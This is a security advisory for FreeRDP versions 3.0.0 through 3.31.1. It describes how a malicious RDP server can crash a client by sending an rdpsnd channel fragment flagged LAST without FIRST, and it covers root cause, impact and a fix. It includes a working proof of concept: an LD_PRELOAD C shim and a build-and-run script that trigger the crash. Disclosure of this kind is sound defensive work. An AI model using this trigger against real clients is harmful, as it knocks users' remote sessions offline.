All vulnerabilities
GHSA-3mq5-xh88-9v62

Malformed `rdpsnd` fragment sequence can terminate a FreeRDP client

FreeRDP
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published30 Sep 2026Updated 30 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A malicious or compromised RDP server can terminate a FreeRDP client that connects with the static rdpsnd channel enabled. The server sends a channel fragment marked CHANNEL_FLAG_LAST while omitting CHANNEL_FLAG_FIRST. FreeRDP forwards these server-controlled flags to the production rdpsnd callback. That callback creates its reassembly stream only when FIRST is present, but uses the stream unconditionally afterward. On a fresh channel, the malformed fragment therefore reaches the stream helpers with a null stream.

The issue affects availability. It does not establish remote code execution, memory corruption, credential exposure, or a TLS bypass.

Root cause

freerdp_channel_process reads the total length and flags from the server PDU and forwards them unchanged through ReceiveChannelData. In rdpsnd_virtual_channel_event_data_received, plugin->data_in is allocated only inside the CHANNEL_FLAG_FIRST branch. Stream_EnsureRemainingCapacity(plugin->data_in, dataLength) then executes even when no FIRST fragment has initialized that pointer.

With verbose WinPR assertions, Stream_GetPosition aborts because its stream argument is null. Without the verbose assertion, the subsequent access to the stream fields still dereferences null. The neighboring rdpdr implementation already checks for missing reassembly state and returns ERROR_INVALID_DATA; rdpsnd lacks an equivalent guard.

Attack requirements and impact

The victim must connect a FreeRDP client to a server controlled by the attacker and enable static sound redirection. The attacker then sends one syntactically complete rdpsnd channel PDU with a matching payload length and LAST set without FIRST. No client-side authentication, allocator-state prediction, or race is required.

The supplied PoC establishes a real TLS/RDP session, selects the negotiated production rdpsnd channel, and injects the differential fragment at the post-connect ReceiveChannelData callback. The conforming FIRST|LAST control exits normally. Changing only the flags to LAST causes the client to abort in Stream_EnsureRemainingCapacity.

The injection point is a deliberate test boundary, not a raw-wire serializer. Raw-wire reachability follows from the production parser reading server-controlled flags and forwarding them unchanged to the same callback. The stock sample server emits conforming flags, so the shim preserves the invalid fragment state required to exercise the client path.

Reproduction

The PoC contains source only. It defaults to downloading and checksum-verifying FreeRDP 3.31.1, then builds the sample client and server with verbose WinPR assertions. A Linux ELF environment, C compiler, CMake, OpenSSL, curl, timeout, and normal FreeRDP build dependencies are required.

Run:

cd poc
./run.sh

Observed from the exact packaged files:

REPRO_SHIM mode=control channel=rdpsnd id=1005 size=16 total=16 injected_flags=0x00000003
REPRO_SHIM mode=attack channel=rdpsnd id=1005 size=16 total=16 injected_flags=0x00000002
control_exit=0 attack_exit=134

The numeric channel ID is negotiated and may differ between sessions. The significant differential is that the same channel, payload, and total length succeed with FIRST|LAST and terminate the client with LAST alone.

<!-- BEGIN FILE: dispatch_shim.c -->

#define _GNU_SOURCE

#include <dlfcn.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <freerdp/channels/channels.h>
#include <freerdp/client.h>
#include <freerdp/constants.h>
#include <freerdp/freerdp.h>

typedef rdpContext* (*client_context_new_fn)(const RDP_CLIENT_ENTRY_POINTS*);
typedef BOOL (*connect_fn)(freerdp*);

static pReceiveChannelData original_receive;

static BOOL receive_shim(freerdp* instance, UINT16 channelId, const BYTE* data, size_t size,
                         UINT32 flags, size_t totalSize)
{
	return original_receive(instance, channelId, data, size, flags, totalSize);
}

rdpContext* freerdp_client_context_new(const RDP_CLIENT_ENTRY_POINTS* entryPoints)
{
	client_context_new_fn real_new =
	    (client_context_new_fn)dlsym(RTLD_NEXT, "freerdp_client_context_new");
	if (!real_new)
	{
		fprintf(stderr, "REPRO_SHIM dlsym failed: %s\n", dlerror());
		return NULL;
	}

	rdpContext* context = real_new(entryPoints);
	if (context && context->instance)
	{
		original_receive = context->instance->ReceiveChannelData;
		context->instance->ReceiveChannelData = receive_shim;
	}
	return context;
}

BOOL freerdp_connect(freerdp* instance)
{
	connect_fn real_connect = (connect_fn)dlsym(RTLD_NEXT, "freerdp_connect");
	if (!real_connect)
	{
		fprintf(stderr, "REPRO_SHIM connect dlsym failed: %s\n", dlerror());
		return FALSE;
	}

	const BOOL connected = real_connect(instance);
	if (!connected || !original_receive)
		return connected;

	const char* mode = getenv("REPRO_MODE");
	const UINT16 channelId = freerdp_channels_get_id_by_name(instance, "rdpsnd");
	const UINT32 flags = (mode && (strcmp(mode, "attack") == 0))
	                         ? CHANNEL_FLAG_LAST
	                         : (CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST);
	const BYTE data[16] = { 0 };

	fprintf(stderr,
	        "REPRO_SHIM mode=%s channel=rdpsnd id=%" PRIu16
	        " size=%zu total=%zu injected_flags=0x%08" PRIx32 "\n",
	        mode ? mode : "control", channelId, sizeof(data), sizeof(data), flags);
	fflush(stderr);

	if (channelId == 0)
		return FALSE;
	return original_receive(instance, channelId, data, sizeof(data), flags, sizeof(data));
}

<!-- END FILE: dispatch_shim.c -->

<!-- BEGIN FILE: run.sh -->

#!/bin/sh
set -eu

VERSION=3.31.1
ARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1
BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORK_DIR=${WORK_DIR:-"$BASE_DIR/.build"}
PORT=${PORT:-33979}

if { [ -n "${SOURCE_DIR:-}" ] && [ -z "${BUILD_DIR:-}" ]; } ||
	{ [ -z "${SOURCE_DIR:-}" ] && [ -n "${BUILD_DIR:-}" ]; }; then
	echo "SOURCE_DIR and BUILD_DIR must be supplied together" >&2
	exit 2
fi

if [ -n "${SOURCE_DIR:-}" ]; then
	SOURCE=$SOURCE_DIR
	BUILD=$BUILD_DIR
else
	ARCHIVE="$WORK_DIR/$VERSION.tar.gz"
	SOURCE="$WORK_DIR/FreeRDP-$VERSION"
	BUILD="$WORK_DIR/build"
	mkdir -p "$WORK_DIR"
	if [ ! -f "$ARCHIVE" ]; then
		curl -fL --retry 3 -o "$ARCHIVE" \
			"https://github.com/FreeRDP/FreeRDP/archive/refs/tags/$VERSION.tar.gz"
	fi
	printf '%s  %s\n' "$ARCHIVE_SHA256" "$ARCHIVE" | sha256sum -c -

	if [ ! -d "$SOURCE" ]; then
		tar -xzf "$ARCHIVE" -C "$WORK_DIR"
	fi

	if command -v cmake >/dev/null 2>&1; then
		CMAKE=cmake
	else
		CMAKE="python3 -m cmake"
	fi

	$CMAKE -S "$SOURCE" -B "$BUILD" \
		-DCMAKE_BUILD_TYPE=Debug \
		-DBUILD_TESTING=OFF -DBUILD_FUZZERS=OFF \
		-DWITH_CLIENT=ON -DWITH_SERVER=ON -DWITH_SAMPLE=ON \
		-DWITH_VERBOSE_WINPR_ASSERT=ON -DWITH_UNICODE_BUILTIN=ON \
		-DWITH_KRB5=OFF -DWITH_X11=OFF -DWITH_WAYLAND=OFF \
		-DWITH_SDL=OFF -DWITH_CAIRO=OFF -DWITH_FFMPEG=OFF \
		-DWITH_SWSCALE=OFF -DWITH_PULSE=OFF -DWITH_ALSA=OFF \
		-DWITH_CUPS=OFF -DWITH_FUSE=OFF -DWITH_PCSC=OFF \
		-DWITH_MANPAGES=OFF -DWITH_SHADOW=OFF -DWITH_PROXY=OFF
	$CMAKE --build "$BUILD" --target sfreerdp sfreerdp-server -j"${JOBS:-2}"
fi

CLIENT="$BUILD/client/Sample/sfreerdp"
SERVER="$BUILD/server/Sample/sfreerdp-server"
SHIM="$WORK_DIR/dispatch_shim.so"
CERT="$WORK_DIR/server.crt"
KEY="$WORK_DIR/server.key"
test -x "$CLIENT"
test -x "$SERVER"
mkdir -p "$WORK_DIR"

cc -shared -fPIC -O1 -g -Wall -Wextra \
	-I"$BUILD/include" -I"$BUILD/winpr/include" \
	-I"$SOURCE/include" -I"$SOURCE/winpr/include" \
	"$BASE_DIR/dispatch_shim.c" -o "$SHIM" -ldl

if [ ! -s "$KEY" ] || [ ! -s "$CERT" ]; then
	openssl req -x509 -newkey rsa:2048 -nodes \
		-subj /CN=127.0.0.1 -days 1 \
		-keyout "$KEY" -out "$CERT" >/dev/null 2>&1
fi

run_case()
{
	mode=$1
	server_log="$WORK_DIR/$mode.server.log"
	client_log="$WORK_DIR/$mode.client.log"

	ASAN_OPTIONS=detect_leaks=0 UBSAN_OPTIONS=print_stacktrace=1 \
		"$SERVER" --cert="$CERT" --key="$KEY" --port="$PORT" \
		>"$server_log" 2>&1 &
	server_pid=$!
	sleep 1

	preload=$SHIM
	if [ -n "${PRELOAD_PREFIX:-}" ]; then
		preload="$PRELOAD_PREFIX:$preload"
	fi

	set +e
	timeout 20 env \
		LD_PRELOAD="$preload" REPRO_MODE="$mode" \
		ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
		UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=0 \
		"$CLIENT" /v:127.0.0.1:"$PORT" /u:test /p:test \
		/cert:ignore /sec:tls /sound:sys:fake >"$client_log" 2>&1
	client_rc=$?
	set -e

	kill "$server_pid" 2>/dev/null || true
	wait "$server_pid" 2>/dev/null || true
	grep 'REPRO_SHIM mode=' "$client_log"
	printf '%s\n' "$client_rc"
}

control_rc=$(run_case control | tee "$WORK_DIR/control.summary" | tail -n 1)
attack_rc=$(run_case attack | tee "$WORK_DIR/attack.summary" | tail -n 1)
cat "$WORK_DIR/control.summary" | head -n 1
cat "$WORK_DIR/attack.summary" | head -n 1
printf 'control_exit=%s attack_exit=%s\n' "$control_rc" "$attack_rc"

test "$control_rc" -eq 0
test "$attack_rc" -eq 134
grep -q 'Stream_EnsureRemainingCapacity' "$WORK_DIR/attack.client.log"

<!-- END FILE: run.sh -->

Remediation

Reject channel data unless plugin->data_in exists. Immediately after the FIRST branch, return ERROR_INVALID_DATA if no reassembly stream is active, before calling any stream helper. The existing rdpdr state check provides a suitable pattern.

Also release an incomplete stream when a new FIRST fragment arrives, enforce consistency between totalLength, accumulated bytes, and LAST, and add dispatcher-level regression tests for missing FIRST, repeated FIRST, invalid total lengths, and cleanup after errors.

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0, <= 3.31.1GitHub